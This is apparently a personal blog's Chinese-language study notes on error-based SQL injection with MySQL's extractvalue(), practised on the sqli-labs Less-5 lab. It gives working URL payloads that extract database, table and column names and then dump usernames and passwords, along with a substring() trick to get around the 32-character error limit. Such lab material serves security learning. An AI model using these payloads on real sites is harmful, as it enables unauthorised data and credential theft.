1
(select group_concat(table_name) from information_schema.tables where table_schema=database())

这句直接背下来

学习笔记:SQL 报错注入 extractvalue()

1. 什么是报错注入?

  • 定义:当 Web 应用在后台执行 SQL 语句时,没有对用户输入进行严格的安全过滤,导致 SQL 语句拼接错误并在数据库中执行失败。如果后台将数据库的报错信息未加区分地直接回显到前端页面,攻击者就可以利用这种机制获取数据。
  • 前提条件:Web 页面必须要有数据库报错信息的回显
  • 与 Union 注入的区别:Union 注入需要页面有数据查询结果的显示位,而报错注入只需要页面能显示错误信息即可。
    无回显位
    如图并没有回显位

2. 核心原理

攻击者故意构造语法错误的 SQL 语句,并在错误的位置嵌入我们需要查询的子查询语句。当数据库报错时,会将这个子查询语句的执行结果作为错误信息的一部分抛出,从而让我们在前端页面看到想要的数据。

3. extractvalue() 函数详解

有十几种引发报错的函数,但最常用的有 floor()extractvalue()updatexml()。这次的重点是 extractvalue()

  • 原始功能:用于从 XML 文档中查询数据。
  • 语法extractvalue(xml_document, xpath_string)
    • xml_document:XML 文档对象名称(注入时可随便写,如 1doc)。
    • xpath_string:XPath 路径(关键注入点)。
  • 报错机制:XPath 的格式有严格要求(通常以 / 开头)。如果我们在第二个参数中传入了不符合 XPath 格式的字符串(例如以 ~ 开头,十六进制为 0x7e),MySQL 就会报错,并且在报错信息中会将你传入的错误路径原样输出
  • 构造 Payload 原理:使用 concat() 函数将非法字符(如 0x7e)与我们的子查询拼接到一起,作为 xpath_string 传入。
    • 例如:extractvalue(1, concat(0x7e, (SELECT database())))
    • 报错结果类似:XPATH syntax error: '~security' (其中 security 就是子查询查出的当前数据库名)。

4. 实战注入步骤 (以 sqli-labs Less-5 为例)

Step 1: 判断是否存在报错注入
输入单引号 ?id=1',观察页面是否报出 SQL 语法错误。
报出语法错误
这里可以看到,报出了语法错误,证明为字符型注入,且闭合符号为单引号

Step 2: 爆当前数据库名

1
?id=100' and 1=extractvalue(1, concat(0x7e, (select database()))) --+

数据库名

Step 3: 爆表名 (Table Name)
利用 information_schema.tables 查表名。

1
?id=100' and 1=extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

表名

Step 4: 爆列名/字段名 (Column Name)
假设查到有 users 表,继续查它的列。

1
?id=100' and 1=extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+

列名
可以看到查到了 usernamepassword 列。

Step 5: 爆具体数据
现在把 usernamepassword 列进行报错回显。

1
?id=100' and 1=extractvalue(1, concat(0x7e, (select group_concat(username, '~', password) from users))) --+

具体数据
可以看到这里也是成功爆出关键数据了,不过数据不能完整显示

5. 突破32 位字符限制

  • 限制extractvalue() 报错回显的字符串最多只能显示 32 个字符。如果有大量数据(如使用了 group_concat),多余的部分会被截断。
  • 突破方法:使用 substring() 函数分段截取。
    • 语法substring(字符串, 起始位置, 截取长度)
    • 示例 (截取前 30 个字符)
      1
      ?id=100' and 1=extractvalue(1, concat(0x7e, substring((select group_concat(username, '~', password) from users), 1, 30))) --+
    • 示例 (截取后续字符):将起始位置往后移,比如改为 31 继续获取:
      1
      ?id=100' and 1=extractvalue(1, concat(0x7e, substring((select group_concat(username, '~', password) from users), 31, 30))) --+
      回显第31位后续

6. 易错点

  1. 路径前缀必须非法extractvalue 的第二个参数最前面必须要有非法字符(如 0x7e 表示的 ~),如果没有(例如直接写 title),即使找不到内容也不会报错,只会返回空。
  2. 括号匹配:编写复杂的 Payload 时(涉及 concat, extractvalue, 子查询),非常容易少写或多写右括号 ),建议从内向外一层层写并仔细检查。
  3. 关键词拼写:如 information_schema 等长单词容易拼错,需要格外注意。

1
(select group_concat(table_name) from information_schema.tables where table_schema=database())

这句直接背下来,用的很多


本站为rabow的个人博客